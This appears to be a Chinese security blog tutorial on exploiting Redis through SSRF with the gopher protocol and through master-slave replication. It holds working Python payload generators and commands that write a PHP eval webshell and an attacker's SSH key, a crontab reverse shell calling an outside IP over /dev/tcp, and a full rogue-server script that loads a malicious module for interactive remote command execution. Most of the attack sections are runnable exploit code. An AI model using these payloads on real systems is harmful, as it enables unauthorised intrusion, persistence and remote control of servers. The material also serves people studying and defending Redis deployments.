SSRF介紹
SSRF,服務器端請求偽造,服務器請求偽造,是由攻擊者構造的漏洞,用於形成服務器發起的請求。通常,SSRF攻擊的目標是外部網絡無法訪問的內部系統。這里我們要介紹的是關於redis
中SSRF的利用,如果有什么錯誤的地方還請師傅們不吝賜教/握拳。
前置知識
文章中的數據包構造會涉及到redis的RESP
協議,所以我們這里先科普一下,了解RESP協議的師傅可以跳過=。=
RESP協議
Redis
服務器與客戶端通過RESP
(REdis Serialization Protocol)協議通信。
RESP協議是在Redis 1.2中引入的,但它成為了與Redis 2.0中的Redis服務器通信的標准方式。這是您應該在Redis客戶端中實現的協議。
RESP實際上是一個支持以下數據類型的序列化協議:簡單字符串,錯誤,整數,批量字符串和數組。
RESP在Redis中用作請求 - 響應協議的方式如下:
-
客戶端將命令作為
Bulk Strings
的RESP數組發送到Redis服務器。 -
服務器根據命令實現回復一種RESP類型。
在RESP中,某些數據的類型取決於第一個字節:
對於Simple Strings
,回復的第一個字節是+
對於error
,回復的第一個字節是-
對於Integer
,回復的第一個字節是:
對於Bulk Strings
,回復的第一個字節是$
對於array
,回復的第一個字節是*
此外,RESP
能夠使用稍后指定的Bulk Strings
或Array
的特殊變體來表示Null
值。
在RESP中,協議的不同部分始終以"\r\n"(CRLF)
結束。
我們用tcpdump
來抓個包來測試一下
tcpdump port 6379 -w ./Desktop/1.pcap
redis客戶端中執行如下命令
192.168.163.128:6379> set name test
OK
192.168.163.128:6379> get name
"test"
192.168.163.128:6379>
抓到的數據包如下
hex轉儲看一下
正如我們前面所說的,客戶端向將命令作為Bulk Strings
的RESP數組發送到Redis服務器,然后服務器根據命令實現回復給客戶端一種RESP類型。
我們就拿上面的數據包分析,首先是*3
,代表數組的長度為3(可以簡單理解為用空格為分隔符將命令分割為["set","name","test"]);$4
代表字符串的長度,0d0a
即\r\n
表示結束符;+OK
表示服務端執行成功后返回的字符串
Redis配合gopher協議進行SSRF
概述
Gopher
協議是 HTTP 協議出現之前,在 Internet 上常見且常用的一個協議,不過現在gopher協議用得已經越來越少了Gopher
協議可以說是SSRF中的萬金油,。利用此協議可以攻擊內網的 redis、ftp等等,也可以發送 GET、POST 請求。這無疑極大拓寬了 SSRF 的攻擊面。
利用條件
能未授權或者能通過弱口令認證訪問到Redis服務器
利用
redis常見的SSRF攻擊方式大概有這幾種:
-
絕對路徑寫webshell
-
寫ssh公鑰
-
寫contrab計划任務反彈shell
下面我們逐個實現
絕對路徑寫webshell
這個方法比較常用,也是用得最多的=。=
構造payload
構造redis命令
flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
寫了一個簡單的腳本,轉化為redis RESP協議的格式
import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
生成payload后,用curl
打一波
執行成功,我們看一波shell是否寫入成功
成功寫入
寫ssh公鑰
如果.ssh
目錄存在,則直接寫入~/.ssh/authorized_keys
如果不存在,則可以利用crontab
創建該目錄
構造payload
構造redi
s命令
flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
轉化為redis RESP協議的格式
PS:將第一個腳本改一下
filename="authorized_keys"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali\n\n"
path="/root/.ssh/"
生成payload
curl
打一波
我們來查看一波是否成功寫入
成功寫入,嘗試連接
成功連接
利用contrab計划任務反彈shell
這個方法只能Centos
上使用,Ubuntu上行不通
,原因如下:
-
因為默認redis寫文件后是644的權限,但ubuntu要求執行定時任務文件
/var/spool/cron/crontabs/<username>
權限必須是600也就是-rw-------
才會執行,否則會報錯(root) INSECURE MODE (mode 0600 expected)
,而Centos的定時任務文件/var/spool/cron/<username>
權限644也能執行 -
因為redis保存RDB會存在亂碼,在Ubuntu上會報錯,而在Centos上不會報錯
由於系統的不同,crontrab定時文件位置也會不同
Centos的定時任務文件在/var/spool/cron/<username>
Ubuntu定時任務文件在/var/spool/cron/crontabs/<username>
Centos和Ubuntu均存在的(需要root權限)/etc/crontab
PS:高版本的redis默認啟動是redis
權限,故寫這個文件是行不通的
構造payload
構造redis的命令如下:
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
轉化為redis RESP協議的格式
PS:將第一個腳本改一下
reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
生成一波,嘗試反彈shell
成功反彈shell
Redis4.x/5.x從SSRF到RCE
前言
前幾天看到RR師傅在朋友圈發的redis4.x/5.x rce,原本想去搞搞看的,但是無奈本菜雞正處於考試預習階段QAQ,所以沒什么心思去看 =。=,直到考完試才安心下來看,不過網上已經很多關於redis rce分析的文章,但是我發現大多數都是一筆帶過沒怎么看懂(我理解能力比較差),所以決定自己搞一下。
介紹
redis 4.x/5.x RCE是由LC/BC
戰隊隊員Pavel Toporkov
在zeronights 2018
上提出的基於主從復制的redis rce,演講的PPT地址為:PPT
利用
利用條件:
-
能未授權或者能通過弱口令認證訪問到Redis服務器
主從復制
主從復制的概述:
主從復制,是指將一台Redis服務器的數據,復制到其他的Redis服務器。前者稱為主節點(master),后者稱為從節點(slave);數據的復制是單向的,只能由主節點到從節點。
redis的持久化使得機器即使重啟數據也不會丟失,因為redis服務器重啟后會把硬盤上的文件重新恢復到內存中,但是如果硬盤的數據被刪除的話數據就無法恢復了,如果通過主從復制就能解決這個問題,主redis的數據和從redis上的數據保持實時同步,當主redis寫入數據是就會通過主從復制復制到其它從redis。
建立主從復制,有3種方式:
-
配置文件寫入
slaveof <master_ip> <master_port>
-
redis-server啟動命令后加入
--slaveof <master_ip> <master_port>
-
連接到客戶端之后執行:slaveof
<master_ip> <master_port>
PS:建立主從關系只需要在從節點操作就行了,主節點不用任何操作
我們先在同一個機器開兩個redis實例,一個端口為6379,一個端口為6380
redis-server /etc/redis/redis.conf
redis-server /etc/redis/redis6380.conf
我們把master_ip設置為127.0.0.1
,master_port為6380
root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> SLAVEOF 127.0.0.1 6380
OK
127.0.0.1:6379> get test
(nil)
127.0.0.1:6379> exit
root@kali:/usr/bin# redis-cli -p 6380
127.0.0.1:6380> get test
(nil)
127.0.0.1:6380> set test "test"
OK
127.0.0.1:6380> get test
"test"
127.0.0.1:6380> exit
root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> get test
"test"
執行一波,我們可以明顯看到數據達到了同步的效果.
如果我們想解除主從關系可以執行SLAVEOF NO ONE
redis module
自從Redis4.x之后redis新增了一個模塊功能,Redis模塊可以使用外部模塊擴展Redis功能,以一定的速度實現新的Redis命令,並具有類似於核心內部可以完成的功能。
Redis模塊是動態庫,可以在啟動時或使用MODULE LOAD
命令加載到Redis中。
惡意so文件編寫:https://github.com/n0b0dyCN/redis-rogue-server/tree/master/RedisModulesSDK
利用原理
利用步驟,貼一下PPT上的步驟
slave和master的握手協議過程
圖中一些常量說明
#define REPL_STATE_CONNECTING 2 /* 等待和master連接 */
/* --- 握手狀態開始 --- */
#define REPL_STATE_RECEIVE_PONG 3 /* 等待PING返回 */
#define REPL_STATE_SEND_AUTH 4 /* 發送認證消息 */
#define REPL_STATE_RECEIVE_AUTH 5 /* 等待認證回復 */
#define REPL_STATE_SEND_PORT 6 /* 發送REPLCONF信息,主要是當前實例監聽端口 */
#define REPL_STATE_RECEIVE_PORT 7 /* 等待REPLCONF返回 */
#define REPL_STATE_SEND_CAPA 8 /* 發送REPLCONF capa */
#define REPL_STATE_RECEIVE_CAPA 9 /* 等待REPLCONF返回 */
#define REPL_STATE_SEND_PSYNC 10 /* 發送PSYNC */
#define REPL_STATE_RECEIVE_PSYNC 11 /* 等待PSYNC返回 */
/* --- 握手狀態結束 --- */
#define REPL_STATE_TRANSFER 12 /* 正在從master接收RDB文件 */
我這里主要講一下最重要的那一步,就是利用全量復制將master上的RDB
文件同步到slave上,這一步就是將我們的惡意so文件同步到slave上,從而加載惡意so文件達到rce的目的
那我們為什么一定要用全量復制呢?原因如下。
當slave向master發送PSYNC
命令之后,一般會得到三種回復:
-
+FULLRESYNC:進行全量復制。
-
+CONTINUE:進行增量同步。
-
-ERR:當前master還不支持PSYNC。
全量復制的過程:
-
slave向master發送PSYNC請求,並攜帶master的runid和offest,如果是第一次連接的話slave不知道master的runid,所以會返回runid為
?
,offest為-1
,我們來測試以下看看是不是真的如此
-
master驗證slave發來的runid是否和自身runid一致,如不一致,則進行全量復制,slave並對master發來的runid和offest進行保存
-
master把自己的runid和offset發給slave
-
master進行bgsave,生成RDB文件
-
master將寫好的RDB文件傳輸給slave,並將緩沖區內的數據傳輸給slave
-
slave加載RDB文件和緩沖區數據
增量復制(又稱部分復制)過程:
增量復制的過程這里簡單帶過一下:就是當slave向master要求數據同步時,會發送master的runid和offest,如果runid和slave上的不對應則會進行全量復制,如果相同則進行數據同步,但是不會傳輸RDB文件
通過了解全量復制和增量復制的過程,我們應該大致知道為什么一定要用全量復制而不用增量復制了。
攻擊流程
-
配置一個我們需要以master身份給slave傳輸so文件的服務,大致流程如下
PING 測試連接是否可用
+PONG 告訴slave連接可用
REPLCONF 發送REPLCONF信息,主要是當前實例監聽端口
+OK 告訴slave成功接受
REPLCONF 發送REPLCONF capa
+OK 告訴slave成功接受
PSYNC <rundi> <offest> 發送PSYNC如下圖所示:
-
-
將要攻擊的redis服務器設置成我們的slave
SLAVEOF ip port
-
設置RDB文件
PS:這里注意以下exp.so是不能包含路徑的,如果需要設置成其它目錄請用config set dir path
config set dbfilename exp.so
-
告訴slave使用全量復制並從我們配置的Rouge Server接收module
+FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>
PS:其中
<runid>
無要求,不過長度一般為40,<offest>
一般設置為1
exp
貼一下exp,寫得比較丑,為了節省文章的篇幅其它功能我就沒有加上去了,有需要的師傅可以自行添加=。=
import socket
import time
CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"
def redis_format(arr):
global CRLF
global payload
redis_arr=arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len(x))+CRLF+x
cmd+=CRLF
return cmd
def redis_connect(rhost,rport):
sock=socket.socket()
sock.connect((rhost,rport))
return sock
def send(sock,cmd):
sock.send(redis_format(cmd))
print(sock.recv(1024).decode("utf-8"))
def interact_shell(sock):
flag=True
try:
while flag:
shell=raw_input("\033[1;32;40m[*]\033[0m ")
shell=shell.replace(" ","${IFS}")
if shell=="exit" or shell=="quit":
flag=False
else:
send(sock,"system.exec {}".format(shell))
except KeyboardInterrupt:
return
def RogueServer(lport):
global CRLF
global payload
flag=True
result=""
sock=socket.socket()
sock.bind(("0.0.0.0",lport))
sock.listen(10)
clientSock, address = sock.accept()
while flag:
data = clientSock.recv(1024)
if "PING" in data:
result="+PONG"+CRLF
clientSock.send(result)
flag=True
elif "REPLCONF" in data:
result="+OK"+CRLF
clientSock.send(result)
flag=True
elif "PSYNC" in data or "SYNC" in data:
result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
result += "$" + str(len(payload)) + CRLF
result = result.encode()
result += payload
result += CRLF
clientSock.send(result)
flag=False
if __name__=="__main__":
lhost="192.168.163.132"
lport=6666
rhost="192.168.163.128"
rport=6379
passwd=""
redis_sock=redis_connect(rhost,rport)
if passwd:
send(redis_sock,"AUTH {}".format(passwd))
send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
send(redis_sock,"config set dbfilename {}".format(exp_filename))
time.sleep(2)
RogueServer(lport)
send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
interact_shell(redis_sock)
效果圖
Reference
https://redis.io/topics/protocol
https://www.cnblogs.com/kismetv/p/9236731.html#t1
http://duqingfeng.net/2018/06/08/Redis%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6%E2%80%94%E2%80%94%E5%85%A8%E9%87%8F%E5%A4%8D%E5%88%B6%E4%B8%8E%E5%A2%9E%E9%87%8F%E5%A4%8D%E5%88%B6%E6%80%BB%E7%BB%93/
https://www.cnblogs.com/hongmoshui/p/10594639.html
https://xz.aliyun.com/t/5616
https://joychou.org/web/hackredis-enhanced-edition-script.html